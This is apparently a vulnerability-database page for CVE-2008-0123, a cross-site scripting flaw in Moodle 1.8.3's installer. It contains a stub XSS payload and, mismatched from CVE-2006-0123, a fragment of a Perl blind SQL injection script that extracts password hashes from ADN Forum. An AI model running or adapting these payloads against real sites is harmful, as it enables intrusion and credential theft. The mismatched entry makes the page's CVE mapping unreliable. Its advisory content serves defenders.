CVE-2008-0123
published 2008-01-12CVE-2008-0123: Cross-site scripting (XSS) vulnerability in install.php for Moodle 1.8.3, and possibly other versions before 1.8.4, allows remote attackers to inject arbitrary…
PriorityP418medium4.3CVSS 2.0
AVNACMAuNCNIPAN
EXPLOIT
EPSS
3.95%
89.1th percentile
Cross-site scripting (XSS) vulnerability in install.php for Moodle 1.8.3, and possibly other versions before 1.8.4, allows remote attackers to inject arbitrary web script or HTML via the dbname parameter. NOTE: this issue only exists until the installation is complete.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| moodle | moodle | <= 1.8.3 | — |
CVSS provenance
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
vendor_redhat4.3MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
Moodle install.php XSS
vendor_redhat·CVSS 4.3
CVE-2008-0123 [MEDIUM] Moodle install.php XSS
Moodle install.php XSS
Cross-site scripting (XSS) vulnerability in install.php for Moodle 1.8.3, and possibly other versions before 1.8.4, allows remote attackers to inject arbitrary web script or HTML via the dbname parameter. NOTE: this issue only exists until the installation is complete.
GHSA
GHSA-rmcv-83m2-7x23: Cross-site scripting (XSS) vulnerability in install
ghsa_unreviewed·2022-05-01
CVE-2008-0123 [MEDIUM] CWE-79 GHSA-rmcv-83m2-7x23: Cross-site scripting (XSS) vulnerability in install
Cross-site scripting (XSS) vulnerability in install.php for Moodle 1.8.3, and possibly other versions before 1.8.4, allows remote attackers to inject arbitrary web script or HTML via the dbname parameter. NOTE: this issue only exists until the installation is complete.
No detection rules found.
Exploit-DB
ADN Forum 1.0b - Blind SQL Injection
exploitdb·2008-10-01
CVE-2006-0123 ADN Forum 1.0b - Blind SQL Injection
ADN Forum 1.0b - Blind SQL Injection
---
#!/usr/bin/perl
# --------------------------------------------------
# ADN Forum get($host."/index.php?fid=".$send);
if($request->is_success and $request->content =~ /hace clic en el boton de abajo/i)
{
$hash .= chr($ord);
$uid++;
}
}
}
if(defined $hash)
{
print "[+] MD5: $hash\n";
exit;
}
else
{
print "[?] Exploit Failed!\n";
exit;
}
# milw0rm.com [2008-10-01]
Exploit-DB
Moodle 1.8.3 - 'install.php' Cross-Site Scripting
exploitdb·2008-01-12
CVE-2008-0123 Moodle 1.8.3 - 'install.php' Cross-Site Scripting
Moodle 1.8.3 - 'install.php' Cross-Site Scripting
---
source: https://www.securityfocus.com/bid/27259/info
Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
This issue affects versions prior to Moodle 1.8.4.
alert(1)'>
http://archives.neohapsis.com/archives/fulldisclosure/2008-01/0202.htmlhttp://int21.de/cve/CVE-2008-0123-moodle.htmlhttp://lists.opensuse.org/opensuse-security-announce/2008-02/msg00003.htmlhttp://secunia.com/advisories/28838http://www.securityfocus.com/archive/1/486198/100/0/threadedhttp://www.securityfocus.com/bid/27259http://www.vupen.com/english/advisories/2008/0164https://exchange.xforce.ibmcloud.com/vulnerabilities/39630http://archives.neohapsis.com/archives/fulldisclosure/2008-01/0202.htmlhttp://int21.de/cve/CVE-2008-0123-moodle.htmlhttp://lists.opensuse.org/opensuse-security-announce/2008-02/msg00003.htmlhttp://secunia.com/advisories/28838http://www.securityfocus.com/archive/1/486198/100/0/threadedhttp://www.securityfocus.com/bid/27259http://www.vupen.com/english/advisories/2008/0164https://exchange.xforce.ibmcloud.com/vulnerabilities/39630
2008-01-12
Published